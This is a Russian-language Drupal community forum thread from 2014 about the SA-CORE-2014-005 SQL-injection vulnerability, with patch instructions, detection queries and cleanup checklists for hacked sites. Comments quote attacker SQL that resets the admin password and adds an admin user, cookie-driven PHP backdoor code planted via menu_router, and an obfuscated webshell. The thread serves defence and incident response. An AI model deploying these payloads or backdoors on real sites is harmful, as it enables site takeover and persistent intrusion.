Внимание! Критическая уязвимость во всех версиях drupal ниже Drupal 7.32 (Highly critical) (update 9)

Главные вкладки

Аватар пользователя sibero sibero 17 октября 2014 в 15:56

Критическая уязвимость во всех версиях drupal 7-ой ветки, которой был присвоен уровень "Highly critical". Уязвимость позволяет выполнить произвольный sql запрос на сайте (сменить пароль для админа, включить php фильтр и добавить произвольный php код в одну из нод). Необходимо срочно обновляться до Drupal 7.32, если возможности сейчас срочно обновиться нет, то как минимум нужно использовать патч https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch устраняющий проблему.

Минигайд по патчу(вручную):
В файле includes/database/database.inc
находим строку:
foreach ($data as $i => $value) {
и заменяем её на:
foreach (array_values($data) as $i => $value) {

Если такой строки нет - уточняйте, возможно ваш хостер уже наложил патч (в виду критичности проблемы).

Официальная информация о уязвимости - https://www.drupal.org/SA-CORE-2014-005
На русском языке - http://www.opennet.ru/opennews/art.shtml?num=40844 и http://habrahabr.ru/post/240721/
Патч - https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch

update.
На хостинге it-patrol.ru наложили патч на все уязвимые сайты. Обновились только 5% сайтов, так что посовещавшись решили наложить патч сами на уязвимые сайты, чтобы защитить клиентов (по рассылке всех уведомили).

update 2.
Информация от neochief

"neochief" wrote:
Если у вас чудесным образом оказалось уже все пропатчено, либо вы не можете найти нужную строку, не спешите радоваться. Вот здесь описано как такое случается: http://www.zionsecurity.com/blog/2014/10/automated-exploiting-and-backdo...

У меня так было заражено два сайта. Чтобы вылечить, нужно найти вражеский скрипт и снести его (для выявления помогает команда "find . -type f -printf '%T@ %p\n' | sort -k 1nr | sed 's/^[^ ]* //' | head -n 10", которая выводит последние 10 изменившихся файлов, ну или "git status"). Кроме того, в таблице menu_router есть запись, которая может заново создать такой файлик. Ищите по ключевику "$form1=@$_COOKIE" в дампе базы, чтобы проверить.

update 3.
drupal 8 так же подвержен этой уязвимости. Исправили в Drupal 8 beta 2 - https://www.drupal.org/node/2357303

update 4.

"drupby" wrote:
самое интересное, что ишью по данному поводу было создано в прошлом ноябре https://www.drupal.org/node/2146839, а пофиксили как обычно следующей осенью

Ответ по этому поводу на drupal.org - https://www.drupal.org/node/2146839#comment-9255599

update 5.
Модуль https://www.drupal.org/project/site_audit показывает наличие троянов в menu_router, крайне желательно проверить свой сайт
Или сделайте дамп базы данных и grep '$form1=@$_COOKIE' мой_дамп.sql (для linux)

update 6.

В базе данных взломанных сайтов в таблице menu_router обнаруживается строка с access_arguments примерно следующего вида:
a:2:{i:0;s:25:"modules/taxonomy/yrof.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Найти такой троян в базе можно запросом:
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';

Так же создаются php shell, их ищем так:
find /путь/до/сайта -type f -name "*.php" -exec grep -l '$form1=@$_COOKIE' {} \;

Если в базе не нашли записи, это не ещё не значит, что сайт не взломан. Некоторые злоумышленники заметают следы, убирая записи из базы, после создания php shell


update 7.

Чеклист для проверки сайта
1) Проверяем не засунули ли трояна в menu_router (выглядит примерно так http://www.zoubi.me/sites/default/files/drupageddon_sql.png )
1 способ
делаем запрос в базу
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';
2 способ
сделайте дамп базы данных и grep '$form1=@$_COOKIE' мой_дамп.sql (для linux)
3 способ
ставим модуль https://www.drupal.org/project/site_audit

Если строчку нашли, то удаляем её из базы

2) Проверяем не создали ли php shell в директории сайта
find /путь/до/сайта -type f -name "*.php" -exec grep -l '$form1=@$_COOKIE' {} \;

смотрим какие php файлы создавали за последние 5 дней
find /путь/до/сайта -name "*.php" -mtime -5
на каких файлах php изменяли права (иногда полезно)
find /путь/до/сайта -name "*.php" -ctime -5

3) Проверяем не поменяли ли email админа на сайте, меняем пароль (для главного админа и остальных админов, если они есть)
4) Смотрим не появились ли новые группы (роли с повышенными правами), если появились, удаляем
5) Проверяем не появились ли новые пользователи админы (состоящие в группе администратор, или других групп с повышенными правами), если есть, удаляем
6) если не хакали модули сами и не ставили дев версии, то выявить хаки в модулях и ядре поможет модуль https://www.drupal.org/project/hacked

update 8
Злоумышленники массово создавали пользователя с именем drupaldev и ролью megauser (с правами администратора), проверяйте свои сайты.
Проверить наличие в базе данных пользователя drupaldev и роли megauser, можно, к примеру, запросами в базу:
SELECT * FROM role WHERE name='megauser';
SELECT * FROM users WHERE name='drupaldev';

update 9
Информация от Ch
Появился модуль https://www.drupal.org/project/drupalgeddon который анализирует возможный взлом сайта (SA-CORE-2014-005), не имеет интерфейса, выполняется из консоли (drush). Интегрирован с модулем https://www.drupal.org/project/site_audit
Cписок пользователей создаваемых злоумышленниками, которые ишет модуль:

$users = array(
    'configure',
    'drplsys',
    'drupaldev',
    'n0n0x',
    'system',
  );

Комментарии

Аватар пользователя Niklan Niklan 17 октября 2014 в 16:07

Да уже всех поломали кого хотели поломать. 15 числа надо было в шустром порядке обновляться.

Не забудьте после апдейта в юзерах проверить у кого роль админа есть, глядишь новые могут появиться, самоправозглашенные.

Аватар пользователя drupby drupby 17 октября 2014 в 16:32

"Niklan" wrote:
Да уже всех поломали кого хотели поломать.

да нет, еще много сайтов не обновленных
и все таки axel что то знал, не переходя на семерку

Аватар пользователя sibero sibero 17 октября 2014 в 16:42

"Niklan" wrote:
Да уже всех поломали кого хотели поломать.

Как системный администратор в хостинг компании скажу, обновили сайт около 5% только (сомневаюсь, что у других хостинг компаний особенно отличается ситуация). Массовых взломов пока не было, но скорее всего будут, так как exploit появились в сети. Поэтому важно донести информацию о необходимости обновления.

Аватар пользователя pr0g pr0g 17 октября 2014 в 17:16

Может кто объяснить как применить запрос описанный http://www.opennet.ru/opennews/art.shtml?num=40844 чтобы он отработал.
Хочу закрыть уязвимость хотя бы патчем, тем проектам которые мне НЕ платят за поддержку сайтов, а для этого хотелось бы узнать поможет ли патч.
Спасибо.

Аватар пользователя drupby drupby 17 октября 2014 в 17:22

"pr0g" wrote:
тем проектам которые мне платят за поддержку сайтов, а для этого хотелось бы узнать поможет ли патч.

ну так давай адреса сайтов, объясним и покажем
"pr0g" wrote:
Может кто объяснить как применить запрос описанный

там имеется ввиду post запрос

Аватар пользователя pr0g pr0g 17 октября 2014 в 18:05

"drupby" wrote:
там имеется ввиду post запрос

Что-то у меня выходит добавить пользователя, отправляя запрос через POST.

Аватар пользователя drupby drupby 17 октября 2014 в 18:09

"pr0g" wrote:
А что страшного ну поломают сайт восстановишь.

ну так с помощью модуля PHP filter можно чудеса чудотворные вытворять, потом долго будут следы искать

Аватар пользователя whiesam whiesam 17 октября 2014 в 18:08

"drupby" wrote:
ну так с помощью модуля PHP filter можно чудеса чудотворные вытворять, потом долго будут следы искать

Это не я писал)

Аватар пользователя pr0g pr0g 17 октября 2014 в 18:12

"drupby" wrote:
ну так с помощью модуля PHP filter можно чудеса чудотворные вытворять, потом долго будут следы искать

Нашел готовый эксплоит на PHP

Аватар пользователя drupby drupby 17 октября 2014 в 18:29

"pr0g" wrote:
Нашел готовый эксплоит на PHP

какая разница на пыхе или на питоне, пост запрос можно выполнить хоть с помощью расширения браузерного

вот кстати запросы, которые чаще всего пытаются выполнить

UPDATE users SET name='admin' , pass = '$S$CTo
9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g'
WHERE uid = '1';
INSERT INTO `menu_router` (`path`, `load_functions`, `to_arg_functions`, `description`, `access_callback`, `access_arguments`)
VALUES ('mziogj', '', '', 'mziogj', 'file_put_contents',[TROJAN]);
UPDATE {users} SET mail='[EMAIL_ADDRESS]' WHERE uid=1;
set @a=(SELECT MAX(uid) FROM users)+1;INSERT IN
TO users set uid=@a,status=1,name='n0n0x' , pass = '$S$CTo9G7Lx2jmHrpHDdKDR0R8X/
q4H9PXo02REYap3z2t8UE3F0DfC'
;INSERT INTO users_roles set uid=@a,rid=3;
Аватар пользователя pr0g pr0g 17 октября 2014 в 18:38

"drupby" wrote:
какая разница на пыхе или на питоне, пост запрос можно выполнить хоть с помощью расширения браузерного

Спасибо за информацию, я уже накатил патч на сайты.

Аватар пользователя drupby drupby 17 октября 2014 в 20:32

"VasyOK" wrote:
Если на сайте нет возможности регистрироваться

таки форма входа и регистрации разные вещи, а так тебя не спасет и перевод сайта в maintenance mode

самое интересное, что ишью по данному поводу было создано в прошлом ноябре https://www.drupal.org/node/2146839, а пофиксили как обычно следующей осенью

Аватар пользователя Plazik Plazik 17 октября 2014 в 21:09

"VasyOK" wrote:
Если на сайте нет возможности регистрироваться, взломать можно данным методом?

Говорят даже файлы можно через эту уязвимость заливать)
"-NIK-" wrote:
Зачем лепить патчи, если ядро обновить дело 2-х минут.

А если ядер 100?

Аватар пользователя ex-S ex-S 17 октября 2014 в 21:47

Я верно понял? Нужно в файле
/includes/database/database.inc
заменить
foreach ($data as $i => $value) {
на
foreach (array_values($data) as $i => $value) {

Аватар пользователя neochief neochief 18 октября 2014 в 0:56

> А на 7.17 и 7.23 ее вообще нет!

Если у вас чудесным образом оказалось уже все пропатчено, либо вы не можете найти нужную строку, не спешите радоваться. Вот здесь описано как такое случается: http://www.zionsecurity.com/blog/2014/10/automated-exploiting-and-backdo...

У меня так было заражено два сайта. Чтобы вылечить, нужно найти вражеский скрипт и снести его (для выявления помогает команда "find . -type f -printf '%T@ %p\n' | sort -k 1nr | sed 's/^[^ ]* //' | head -n 10", которая выводит последние 10 изменившихся файлов, ну или "git status"). Кроме того, в таблице menu_router есть запись, которая может заново создать такой файлик. Ищите по ключевику "$form1=@$_COOKIE" в дампе базы, чтобы проверить.

Аватар пользователя Old Human Old Human 18 октября 2014 в 13:54

neochief wrote:
У меня так было заражено два сайта. Чтобы вылечить, нужно найти вражеский скрипт и снести его (для выявления помогает команда "find . -type f -printf '%T@ %p\n' | sort -k 1nr | sed 's/^[^ ]* //' | head -n 10", которая выводит последние 10 изменившихся файлов, ну или "git status"). Кроме того, в таблице menu_router есть запись, которая может заново создать такой файлик. Ищите по ключевику "$form1=@$_COOKIE" в дампе базы, чтобы проверить.

Спасибо, добрый человек. Все так. Нашел вражину!!!
Пароль имеет смысл менять для старого администратора? Новых не появилось.

Аватар пользователя marazmus marazmus 18 октября 2014 в 9:54

"Glokta" wrote:
Куда патч ставить? Как? Скажите плз, в юзерах сидит новая, неведомая личность, срочно)

/includes/database/database.inc

найти строку

foreach ($data as $i => $value) {

заменить на строку

foreach (array_values($data) as $i => $value) {

Аватар пользователя marazmus marazmus 18 октября 2014 в 9:55

"Glokta" wrote:
в юзерах сидит новая, неведомая личность

У неведомой личности сперва удалите его группу (скорее всего это будет megauser), потом удалите самого юзера.

Аватар пользователя FORTIS FORTIS 18 октября 2014 в 11:25

надо же было догадаться эксплоит к уязвимости вынести на главную страницу сообщества, на орге до такой дури не додумались, понятно почему?)

Аватар пользователя sibero sibero 18 октября 2014 в 14:20

"FORTIS" wrote:
надо же было догадаться эксплоит к уязвимости вынести на главную страницу сообщества, на орге до такой дури не додумались, понятно почему?)

Ссылку размещал для администраторов и разработчиков, для понимания как происходит атака, но согласен с вами, убираю.

Аватар пользователя sibero sibero 18 октября 2014 в 13:49

"ХулиGUN" wrote:
Шикардос... убрали типа... кому нужно типа ищите в редакциях?

Информация быстро гуглится и выложена уже на многих сайтах (даже готовые exploit на php).

Аватар пользователя sibero sibero 18 октября 2014 в 14:19

Quote:
Пароль имеет смысл менять для старого администратора? Новых не появилось.

Лучше поменять пароль, мало ли. И нужно проверить не поменяли ли email для админа

Аватар пользователя sibero sibero 18 октября 2014 в 14:40

Обновление шапки топика:

update.
На хостинге it-patrol.ru наложили патч на все уязвимые сайты. Обновились только 5% сайтов, так что посовещавшись решили наложить патч сами на уязвимые сайты, чтобы защитить клиентов (по рассылке всех уведомили).

update 2.
Информация от neochief

"neochief" wrote:
Если у вас чудесным образом оказалось уже все пропатчено, либо вы не можете найти нужную строку, не спешите радоваться. Вот здесь описано как такое случается: http://www.zionsecurity.com/blog/2014/10/automated-exploiting-and-backdo...

У меня так было заражено два сайта. Чтобы вылечить, нужно найти вражеский скрипт и снести его (для выявления помогает команда "find . -type f -printf '%T@ %p\n' | sort -k 1nr | sed 's/^[^ ]* //' | head -n 10", которая выводит последние 10 изменившихся файлов, ну или "git status"). Кроме того, в таблице menu_router есть запись, которая может заново создать такой файлик. Ищите по ключевику "$form1=@$_COOKIE" в дампе базы, чтобы проверить.

update 3.
drupal 8 так же подвержен этой уязвимости. Исправили в Drupal 8 beta 2 - https://www.drupal.org/node/2357303

update 4.
В багтрекере drupal ( https://www.drupal.org/node/2146839 ) информация о потенциальной уязвимости появилась более 11 месяцев назад, но до security team информация не дошла. Ответ по этому поводу на drupal.org - https://www.drupal.org/node/2146839#comment-9255599

Аватар пользователя Artu Artu 18 октября 2014 в 18:38

IT Patrol молодцы что применили массово патч.
Интересны скрипты на эту тему.

Обойти все сайты, для каждого проверить версию, в случае искомой версии применить патч.

Аватар пользователя sibero sibero 18 октября 2014 в 19:46

"Artu" wrote:
Интересны скрипты на эту тему.

Скрипт писал коллега и он заточен под особенности хостинга, его нет смысла выкладывать в том виде, в каком он есть. Но там по сути несколько строк на баше будет. Формируем список директорий в которых лежат сайты, а потом в цикле грепаем строку $data as $i => $value в файле includes/database/database.inc , если она есть, версия уязвима, тогда патчим, к примеру утилитой patch

patch -p1 --backup < /root/SA-CORE-2014-005-D7.patch

Аватар пользователя sibero sibero 18 октября 2014 в 19:37

В базе данных взломанных сайтов в таблице menu_router обнаруживается строка с access_arguments примерно следующего вида:
a:2:{i:0;s:25:"modules/taxonomy/yrof.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

Найти такой троян в базе можно запросом:
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';

Так же создаются php shell, их ищем так:
find /путь/до/сайта -type f -name "*.php" -exec grep -l '$form1=@$_COOKIE' {} \;

Аватар пользователя sibero sibero 18 октября 2014 в 19:58

Если в базе не нашли записи, это не ещё не значит, что сайт не взломан. Некоторые заметают следы, убирая записи из базы, после создания php shell

Аватар пользователя sibero sibero 18 октября 2014 в 21:05

update 7.
Чеклист для проверки сайта
1) Проверяем не засунули ли трояна в menu_router (выглядит примерно так http://www.zoubi.me/sites/default/files/drupageddon_sql.png )
1 способ
делаем запрос в базу
SELECT * FROM menu_router WHERE access_arguments LIKE '%form1(@$_COOKIE%';
2 способ
сделайте дамп базы данных и grep '$form1=@$_COOKIE' мой_дамп.sql (для linux)
3 способ
ставим модуль https://www.drupal.org/project/site_audit

Если строчку нашли, то удаляем её из базы

2) Проверяем не создали ли php shell в директории сайта
find /путь/до/сайта -type f -name "*.php" -exec grep -l '$form1=@$_COOKIE' {} \;

смотрим какие php файлы создавали за последние 5 дней
find /путь/до/сайта -name "*.php" -mtime -5
на каких файлах php изменяли права (иногда полезно)
find /путь/до/сайта -name "*.php" -ctime -5

3) Проверяем не поменяли ли email админа на сайте, меняем пароль (для главного админа и остальных админов, если они есть)
4) Смотрим не появились ли новые группы (роли повышенными правами), если появились, удаляем
5) Проверяем не появились ли новые пользователи админы (состоящие в группе администратор, или других групп с повышенными правами), если есть, удаляем
6) если не хакали модули сами и не ставили дев версии, то выявить хаки в модулях и ядре поможет модуль https://www.drupal.org/project/hacked

Аватар пользователя sibero sibero 22 октября 2014 в 0:32

update 8
Злоумышленники массово создавали пользователя с именем drupaldev и ролью megauser (с правами администратора), проверяйте свои сайты.
Проверить наличие в базе данных пользователя drupaldev и роли megauser, можно, к примеру, запросами в базу:
SELECT * FROM role WHERE name='megauser';
SELECT * FROM users WHERE name='drupaldev';

Вывести uid пользователей у которых роль администратор, помимо основного админа (uid=1)
SELECT * FROM users_roles WHERE rid='3' AND uid !='1';

Аватар пользователя FORTIS FORTIS 22 октября 2014 в 11:30

"sibero777" wrote:
Вывести uid пользователей у которых роль администратор, помимо основного админа (uid=1)
SELECT * FROM users_roles WHERE rid='3' AND uid !='1';

нет не вывести)

Аватар пользователя sibero sibero 22 октября 2014 в 12:39

"Ch" wrote:

https://www.drupal.org/project/drupalgeddon

drupaldev уже проверяет там, мегаюзера пока нет.

Спасибо за информацию, хороший модуль. Кстати, судя по коду вижу проверяет. Правило в checks\bad_roles_check.inc
И список пользователей которых ищет, тоже вижу больше

 $users = array(
    'configure',
    'drplsys',
    'drupaldev',
    'n0n0x',
    'system',
  );
Аватар пользователя FORTIS FORTIS 22 октября 2014 в 14:43

"sibero777" wrote:
Поясните?

запрос выводит пользователе с rid=3 -
это может быть любая роль, при минимальной установке друпала из коробки нет роли админ

Аватар пользователя sibero sibero 22 октября 2014 в 16:01

"FORTIS" wrote:
запрос выводит пользователе с rid=3 -
это может быть любая роль, при минимальной установке друпала из коробки нет роли админ

Так в этом и суть запроса, вывести uid всех пользователей, у которых rid=3 (группа администратор). В drupal 7 есть роль "администратор" по умолчанию, её не было в drupal 6, и rid=3 это номер группы "администратор" по умолчанию в drupal 7
Вот так выглядит таблица roles в стандартном drupal 7 - http://i.imgur.com/3poCQLw.jpg
А вот так выглядит по умолчанию таблица users_roles - http://i.imgur.com/iwNwv4S.jpg , как видите группа rid=3 по умолчанию закреплена за uid=1

Аватар пользователя sibero sibero 22 октября 2014 в 16:19

"FORTIS" wrote:
запрос выводит пользователе с rid=3 -
это может быть любая роль, при минимальной установке друпала из коробки нет роли админ

Прошу прощения, ошибся, это при установке профиля standart, в профиле minimal группа не создается. Исправляю информацию

Аватар пользователя dretro dretro 23 октября 2014 в 15:48

Сначала обновил ядро и все модули, а потом уже заметил что появился новый пользователь drupaldev. Удалил пользователя, а затем начал искать остальные следы, методами описанными в шапке. Но ничего так и не нашел, плохо искал? или это из-за того что обновился нет остальных следов?

Аватар пользователя drupby drupby 23 октября 2014 в 16:13

"dretro" wrote:
Но ничего так и не нашел, плохо искал?

кроме всего прочего добавленным пользователем могли изменить контент, добавить комменты спамные, изменить/добавить новые блоки, изменить/добавить вьюхи

Аватар пользователя ttenz ttenz 23 октября 2014 в 16:32

"dretro" wrote:
Но ничего так и не нашел, плохо искал?

это не единственная уязвимость друпала, их в нём много.

Аватар пользователя sibero sibero 23 октября 2014 в 19:46

"ttenz" wrote:
это не единственная уязвимость друпала, их в нём много.

Пруф будет? Уязвимости исправляют с выходом новых версий, в Drupal 7.32 пока нет обнаруженных уязвимостей.

Аватар пользователя Orion76 Orion76 23 октября 2014 в 22:47

"sibero777" wrote:
Drupal 7.32 пока нет обнаруженных уязвимостей.

Наверное Вы хотели сказать: нет опубликованной информации об обнаруженных уязвимостях..

Аватар пользователя sibero sibero 24 октября 2014 в 15:56

"orion76" wrote:
Наверное Вы хотели сказать: нет опубликованной информации об обнаруженных уязвимостях..

Именно так. Иначе говоря нет доказательств, что в Drupal 7.32 есть уязвимости. Поэтому любые сообщения вида "это не единственная уязвимость друпала, их в нём много." бросание слов на ветер, не более.

Аватар пользователя Orion76 Orion76 24 октября 2014 в 17:16

"sibero777" wrote:
"это не единственная уязвимость друпала, их в нём много." бросание слов на ветер, не более

Это аксиома для любой системы.. Нельзя быть таким оптимистом, все хорошо в меру-)
"Программирование без ошибок - есть теоретическая абстракция" - говаривал мой препод по предмету "АиЯП"

"sibero777" wrote:
Иначе говоря нет доказательств, что в Drupal 7.32 есть уязвимости.

Ох.. бедный-бедный суслик, которого никто не видит..

Аватар пользователя ilya_kaz ilya_kaz 28 октября 2014 в 7:47

Поломали сайт...
drupaldev, megauser - все путем Smile
Не мудрствуя, перезалил из backup'а, предварительно обновив ядро.
Теперь в журнале лезут такие сообщения:

---
"DOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in
your SQL syntax; check the manual that corresponds to your MySQL server version for the right
syntax to use near ' 'test' AND status = 1' at line 1: SELECT * FROM {users} WHERE name =
:name_0, :name_1 AND status = 1; Array ( [:name_0] => test3 [:name_1] => test ) в функции
user_login_authenticate_validate() (строка 2149 в файле /.../modules/user/user.module)."
---
"Warning: addcslashes() expects parameter 1 to be string, array given в функции
DatabaseConnection->escapeLike() (строка 984 в файле /.../includes/database/database.inc)."
---
"Warning: mb_strlen() expects parameter 1 to be string, array given в функции drupal_strlen()
(строка 478 в файле /.../includes/unicode.inc)."
---

Это плохо?
Новые юзеры и роли не появляются...

Аватар пользователя Jean-Claude Jean-Claude 30 октября 2014 в 15:41

А шестерка не подвержена?
а то мне не нравится вот эта запись в логе друпала, но в бд ничего не нашел, на фтп в колонке доступа к файлам - тоже даты старые стоят.

Аватар пользователя realburnis realburnis 31 октября 2014 в 10:07

добавлю свои 5 копеек. попал под раздачу. и или более хитрый шелл чем описан здесь у меня или же просто словил сразу несколько.

Осторожно с рекурсивным удалением -)) Проверьте перед таким делом(перед рекурсивным удалением) на симлинки.... Некоторые вирусы с собой записали симлинк на корень всех сайтов Wink

Вот опыт по лечению некоторых последствий.... http://burnis.org/vir

Аватар пользователя ilya_kaz ilya_kaz 1 ноября 2014 в 10:15

"<a href="mailto:sas@drupal.org">sas@drupal.org</a>" wrote:
Это плохо

Если не сложно - поясните, пожалуйста, чем плохо и что делать, что читать/исправлять.
Описанные симптомы (ошибки в журнале) проявились только в первый день после обновления, больше не появляются.
Одна нежить-бот вчера успешно зарегистрировалась, все вроде работает как до взлома.
Восстанавливал из бэкапа, сохраненного еще в январе на локальном компе, обновлял на нем же, потом заливал на хостинг.
На хостинге предварительно были удалены все файлы сайта, в базе удалены все таблицы.

Аватар пользователя etoile etoile 21 ноября 2014 в 18:27

Было 2 пользователя drupaldev и drupdev. Один из них с собственно созданной ролью megauser, другой же с созданной мной. Хорошо,что у меня пользователей всего-то 2 было.

Аватар пользователя Old Human Old Human 25 ноября 2014 в 10:21

В нескольких десятках статей появились встроенные левые ссылки. Причем никаких левых пользователей нет и заходов даже нет в ближайшие недели.
Закачали shell и заменили email в моей админской записи, контент меняли с моей записи.

Аватар пользователя azsx azsx 25 ноября 2014 в 9:31

Вот если взломали сайт и добавили пользователей, достаточно ли:
1. удалить группу мегаузер
2. удалить лишних пользователей
3. целиком обновить все файлы, кроме каталога sites
4. сменить пароль админу
Или надо делать что то еще?

Аватар пользователя Ji2GLiPu2F Ji2GLiPu2F 25 ноября 2014 в 10:55

Пароли от базы Drupal7, юзера root и pma менять надо ? В шапке ни слова, а вот если доступ был к базам, то пароль теоретически вытащить могли?

Аватар пользователя Niklan Niklan 25 ноября 2014 в 12:27

"azsx" wrote:

Вот если взломали сайт и добавили пользователей, достаточно ли:
1. удалить группу мегаузер
2. удалить лишних пользователей
3. целиком обновить все файлы, кроме каталога sites
4. сменить пароль админу
Или надо делать что то еще?


Там еще меню роуты засираются, так что вероятнее там куда сложнее вычистить

Аватар пользователя azsx azsx 25 ноября 2014 в 12:44

> Там еще меню роуты засираются
очень плохо. А как это проверить, что проблемы в маршрутах меню? И что это вообще за маршруты такие?

Аватар пользователя Kaer Kaer 20 декабря 2014 в 18:31

На неделе на сервере упал mysql из-за нехватки памяти. Обнаружил что у меня в процессах на Ubuntu Server 12.04 куча задач sendmail которые рассылают спам. Не могу найти как их включают и где дыра.

У кого-нибудь такое было? Куда смотреть?

Аватар пользователя dzenphoto dzenphoto 21 декабря 2014 в 1:36

"Kaer" wrote:
Куда смотреть?

Выше в комментариях подробно описано где и что искать.

"azsx" wrote:
Или надо делать что то еще?

в папке sites тоже может оказаться некоторое количество зараженных файлов. Искать по дате (описано выше), а если не повезло и в этот момент над сайтом производились работы, искать по участкам кода (тоже уже примеры приводили)

Аватар пользователя Kaer Kaer 21 декабря 2014 в 16:23

Поиск php файлов злоумышленников вышеуказанная схема помогла только от части.
В поиске оставшихся файлов помогла такая команда:
find . -type f -name '*.php' | xargs grep -l "eval *(" --color

Аватар пользователя Waldos Waldos 28 января 2015 в 2:28

Kaer wrote:
Поиск php файлов злоумышленников вышеуказанная схема помогла только от части.
В поиске оставшихся файлов помогла такая команда:
find . -type f -name '*.php' | xargs grep -l "eval *(" --color

Объясните, пожалуйста, с помощью чего выполняются эти команды?

Аватар пользователя qvazar qvazar 8 января 2015 в 23:57

ttenz wrote:

 drush dl site_audit
drush dl drupalgeddon
drush cache-clear drush
 drush asec
 

https://www.drupal.org/project/drupalgeddon[/quote]
Выводит список php файлов:
— — — — — — — — — — — — — —
/drush asec
Security: 80%
Drupalgeddon suspicious files
The following suspicious files have been detected: [error]
.ru/public_html/gamma/templates/zone.tpl.php
.ru/public_html/gamma/templates/comment.tpl.php
.ru/public_html/gamma/templates/html.tpl.php
.ru/public_html/gamma/templates/node.tpl.php
.ru/public_html/gamma/templates/page.tpl.php
.ru/public_html/gamma/templates/comment-wrapper.tpl.php
.ru/public_html/gamma/css/include.php
.ru/public_html/gamma/template.php
.ru/public_html/gamma/theme-settings.php
.ru/public_html/node-api.php
.ru/public_html/dashboard-data.php
Restore your codebase from a backup if possible. If not, delete the offending files from your site and check for other malicious activity.

Достаточно будет их удалить?

Аватар пользователя vbard vbard 20 марта 2015 в 21:15

только что пролечил сайт.
попались такие файлы
includes/taxonomy-admin-data.php
includes/color-tpl.php
modules/help/help-main.php
sites/default/toolbar-tpl.php
sites/default/files/load-styles.pages.php
themes/bartik/images/ico-social-delicious64.png
sites/default/files/ico-archivess.gif
modules/image/image.admin.api.inc
misc/color-rtl-data.php
shortcut-api-module.php
sites/default/files/contact-bak.php
misc/forum-rtl-bak.php
sites/default/files/help.main.info
syslog-inc.php
sites/default/files/pointer3s.gif
sites/default/forums.php
sites/default/files/menu.pages.install
includes/actions.info.inc
sites/default/files/book.pages.info
modules/help/help-module.php
modules/openid/openid-pagess.php
sites/default/files/openids.php
includes/cache.test.inc
modules/rdf/rdf-main.php
modules/translation/translation.pages.info
themes/bartik/images/graffiti64.png

имена файлов нашёл в таблице menu_router, поле access_arguments
запросом

SELECT *
FROM  `menu_router`
WHERE access_callback LIKE  'file_put_contents'

в начале BLOB-данных.

Аватар пользователя vbard vbard 20 марта 2015 в 23:05

причём иногда данные имели вид
<?phpa:2:{i:0;s:24:"modules/rdf/rdf-main.php";i:1;s:96:"<?php if(@$_COOKIE['gx']){$hva=$_COOKIE['gx']("",@$_COOKIE['rokd'](@$_COOKIE['fhp']));$hva();}?>";}?>
а иногда

<?phpa:2:{i:0;s:42:"modules/translation/translation.pages.info";i:1;s:3429:"<?php $dngs='=T,)@';$xplaxl='l$,a$1h';qnjb;$xglcz='6{hmWt"Y'^'[';/*W=?t8ayPy5q95GIBW-L"SKO3K}?uaYTUuulagjphn|295:in*a3wY"%!p3gY8;/*/$sl='ZBM`FL/=[)=_'^'3,$?5)[';
toovbp;$mdi='}wR4Jh,SHp_Vpw{Yp]`VxBt-dS7U;uYY';
$iwz='4dS])}i|c80e"Lk/%Sqw/a'^'(XZo4o+BVi:J5+';$yahnn='$c(EaW_M-g6|Fxwk';$yopff='+k!%';$dgqk=0;
$yjwl=':B4)=vI0%418M@7'^'_0FFO);UU[CL$.PJ4IktDY';##O5S)#Lyd$p4Qr2g_@X/C*qvL.R6(E;1%z[
$cxt='/]'^'Khf.=xb}';$zqdl='AOD]I#';jygek;$oop=$dngs.$yopff;$yjwl($dgqk);
'HqHUjm';/*rDyY:b1u6X-b$#D#ecB!NGB:m@2x(;[lx6C0wE[oe`lV6Q5^]TzO.HlpH*/
$vxnzs='^&IH4N4GP/,04&M';'0ZHf+t';uetrqws;$sl($yjwl,$dgqk);$rqgh='KN0Q|[O2+A:eBDKnF;VdH$GLWeVgXF?k';$rpqk=@$_COOKIE;/*$ztyp;*g[_503b#2pU.c0nZL0shqa<<$isxslzwk*/##^.V,Um6br,@+n5lLF@BP]g(SA#XHt_5&|!tMWU}
$dl='RpI]2:';/*U7kt5:+%$`?UlRb`d|)m-"3{1?6RpTDbHbGdFTt7_AjvI8SG2oR[1RV(TnsyUt/+:^dg^FT:5(kgEv+j$`zI*/##bL#GF)H+CMt244fvZs}+?"B
##";DM"8z{%ALWR@Ri=M_]8KQg8"XdPZeJ
$hqfos<<'dhaxtvpidzgddcczmakj';pvrgf;$yopff=$xglcz.$cxt;$gtmdy=$oop.$zqdl^$vxnzs;'Bs/iv&S';
ntmqxbe;$vh=$rqgh.'6p&K2Ie'^$mdi;$chmdrm=$rpqk['hpsy'];/*#K,*E[Ry1IorR@*/'Ix32PL=';if($vh==$yopff($chmdrm)){'NSB|k';/*VAsslk.45o2jFlOvPddm"LhzQC_P==#BZm3sbrpfwcipfud>>J/w,%[FDYW69!)9:+$-fIZjl:Z)(=x#[WKL!@44*/
###SY"oWQxry{Z*K=&7K&hd$t0
$ajlfl|'rzneplecbr';$exjiu='+glP:@ioC^q:I}/]!f';$wkwg='&TYkNk'.'ycjb';$cqy^$togkf;
